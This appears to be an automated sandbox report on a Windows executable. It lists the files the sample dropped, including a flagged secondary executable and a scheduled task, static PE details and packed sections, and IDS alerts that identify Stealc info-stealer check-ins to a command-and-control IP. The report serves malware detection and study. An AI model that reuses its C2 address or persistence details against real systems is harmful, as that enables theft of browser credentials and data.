Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11781
Entropy (8bit):	5.462931021444556
Encrypted:	false
SSDEEP:	192:jnPOeRnLYbBp6BJ0aX+H6SEXK5NBV5RHWNBw8dFSl:TDeAJUasjHEwu0
MD5:	AD92D2994B4514F976DE842613089F1D
SHA1:	3E5B3B6C12233D0F3FC6B5CAE07F750422BE2D31
SHA-256:	8142AB217C29D80061D66E694E5743B261A509F8FD03783E27ED61DECC36DB02
SHA-512:	ABD272AED448989BDF85B1A0813A8FE9087BDF228F8A213F7C7972441AF98CEDD1F3D362B9246BEF5F6B79D2570899FBD57521E1BE63D6955AB3350D7DA1879A
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\Documents\JKECGDBFCB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3293184
Entropy (8bit):	6.688696780814049
Encrypted:	false
SSDEEP:	49152:icm/mmZYj4ofA2jiwMLgUg6UfV0yRVgH1oiZnus6:GHi4ofA2jieDVdRVK1Dnus
MD5:	4F2646500156298BD82C572E6C8E4062
SHA1:	44C4DA3BD22FC6AC172A3847C3FBE9B88659C1FF
SHA-256:	69F12161BD960117BAF9728942BE8AE7D34AEAC22FFEFF912DC8AB227A44229B
SHA-512:	50235199C1E446FCC1A1BD93BBADF4C048AC363A472297E522CD32290F0C81318F8434120B5EE77C82BBD85F01AF7EB962E71E4DE54CCD59F5FF214208B9DE39
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2......2...@.................................W...k............................12.............................D12..................................................... . ............................@....rsrc...............................@....idata ............................@...hjzxticg..+.......+.................@...ugypvtkj.....@2.......2.............@....taggant.0...P2.."....2.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\JKECGDBFCB.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4115393562045178
Encrypted:	false
SSDEEP:	6:oVhUZbX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lH6ldt0:oVh4uQ1CGAFifXVH6zt0
MD5:	666EBF7F50A0A84B37008CFB94B6C4B2
SHA1:	1BA45ED44C2823ADCD5B25FF67D7C22D57C1B806
SHA-256:	B096EF9DEF7F0634B53BA44245D0D7388327C0F3774CE7D58B05E20F85B2B30B
SHA-512:	2D4863BFFDDA65F9948031846D99FDEBB3A93F7D2D138B52304942EC4382512783C3770E6203FC6AAA988C1B37DAD991790A699889736714D1AB906145A59BF4
Malicious:	false
Preview:	....v...@.XJ.s.S'..qF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................3.@3P.........................

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2855)
Category:	downloaded
Size (bytes):	2860
Entropy (8bit):	5.843835498575282
Encrypted:	false
SSDEEP:	48:s28BlgGKlgZ01dC74aa9ld66666iEvJOyaebgKrZfZQBSsLAhn1kG5rD6uSEqmfn:d8Bm9licFd66666/vrFQBSsOSG57fff3
MD5:	86336079A64B980F0C1FB7816C907BDC
SHA1:	34804FB339D0FE6BE55C79920F21F9AC7F0752A5
SHA-256:	85E9C85B17AC5C3B19E3C637406BEA395E8EE1BF3E668499F8FAADE870F6A29A
SHA-512:	21D741FB41AEB2C804AF6DA10DCAA29260B7AD33646623C591AA0FBF32CC5D7D142F4A7DEB23A25CEA3435A5E28F774CC535F374BE641A2DB30EF3A84289B1C2
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["lehigh penn state wrestling results","wordle today december 9","solar flares","delay deny defend goodreads","indiana jones great circle","powerball lottery jackpot","fantasy football waiver wire week 15","nyt strands hints december 9"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWtxcTUwM3JtEgxDb25zb2xlIGdhbWUy1wpkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUJRQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBREFRQURBUUFBQUFBQUFBQUFBQUFBQkFZQ0F3VUhBZi9FQUM0UUFBSUJBZ1VDQlFFSkFBQUFBQUFBQUFFQ0F3UVJBQVVTRXlFR01SUWlRVkZoa1FjVkl6TkNjWUh

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133000
Entropy (8bit):	5.4360999080035475
Encrypted:	false
SSDEEP:	3072:fjkX33ov7GsG688fJbk/5xnsILWjwR2i6o:f03lr6t2/5xnsIawR8o
MD5:	4EF81292B716437177530550E787066C
SHA1:	E3B1F60E8EADF060B6E655F4136E76955440CC62
SHA-256:	9CB9D8A6E4FD595E49F6CD1C21314FD986753BE49B95D3312ACE9DCF287051BF
SHA-512:	629B584CA2017F6C30BA5FB46DE05EDF386C5EF8582617D124F9312D531CB7D93753F0952066250CCB6601511E0E3B42BA7050DFB655C254EAD1140FC0FF1D7C
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	174954
Entropy (8bit):	5.550148947243928
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGha9VMRWInJ+LBIwK555ypuq/dP/JlpNMWzeAxaPIa:eKR1tw+9+i7GFhJcha/MRWIJ+LBIwK5n
MD5:	8DF81901713526C08F170352ACB79008
SHA1:	E1E30358A27E0A475AD0576FC9AE389FD95B49BB
SHA-256:	681F8E5F962B4D48083A1313B3B7978E6906B9C526AA488A4B42EA1EA97B8358
SHA-512:	E82BB4618D69A9F95EF7CDBAA380C34563725803F326F572FCE88E30F51577E75B1D701D86EE63E273A7D65A8ACDDA601FBB83EE079080634CBBE2B3B583A14A
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945489103300047
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'798'144 bytes
MD5:	0bd6feab9ec3faa844bdcdce20bb139a
SHA1:	489a61c409dfb7d18be79e8ee0e6a357e2441b32
SHA256:	5facd021cf569f15595a5bca8a9e248e6c32c1811f8b4c70ca037a15fed258ab
SHA512:	48c0db3c10b1ac30f86705f98d653ab487728ad131167fd3a7f26f3666d54bbc0c034139c2baec8c66749999cadf9354b5231e43f05eefef3ed87c9d4057592f
SSDEEP:	24576:fCZPJDrL986um4wskCcB/O5luZPVaYAN5aIGFa2mX1e7vQOB7TBpS2t/nqkemRjX:KfjumUkfxlVkN4AX4QC7Tm2SWXNQLg9
TLSH:	8A8533EB6E076511C6AE3B3B548E07CF5DF4580EFBD3EB964AD85E40197B2840A38294
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa90000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA6C4A93BAAh
cmovle ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	bb6a4c8bb8c3908e21093a1d75062752	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	a8ed1ae29cc96d77947ca5cc5b1c4d08	False	0.580078125	data	4.541713947360478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a6000	0x200	2fbf4ae9ad229880e0c628622ed7bd67	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
loxwmvpm	0x4f2000	0x19d000	0x19cc00	c070f68f476cb38032d87a92eacec0f4	False	0.9947971873107208	data	7.954088066155708	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lrozqijg	0x68f000	0x1000	0x400	4ca84e149a70ec279c705d85598e9131	False	0.7255859375	data	5.734859454040102	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x690000	0x3000	0x2200	06fef1a8c5d87d4f682a83449ab7c924	False	0.064453125	DOS executable (COM)	0.7285203350496359	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68e8fc	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T02:50:02.013572+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-10T02:50:02.462774+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-10T02:50:02.583150+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-10T02:50:02.911511+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-10T02:50:03.032801+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-10T02:50:04.452574+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-10T02:50:05.164857+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-10T02:50:31.767986+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49763	185.215.113.206	80	TCP
2024-12-10T02:50:34.102952+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49763	185.215.113.206	80	TCP
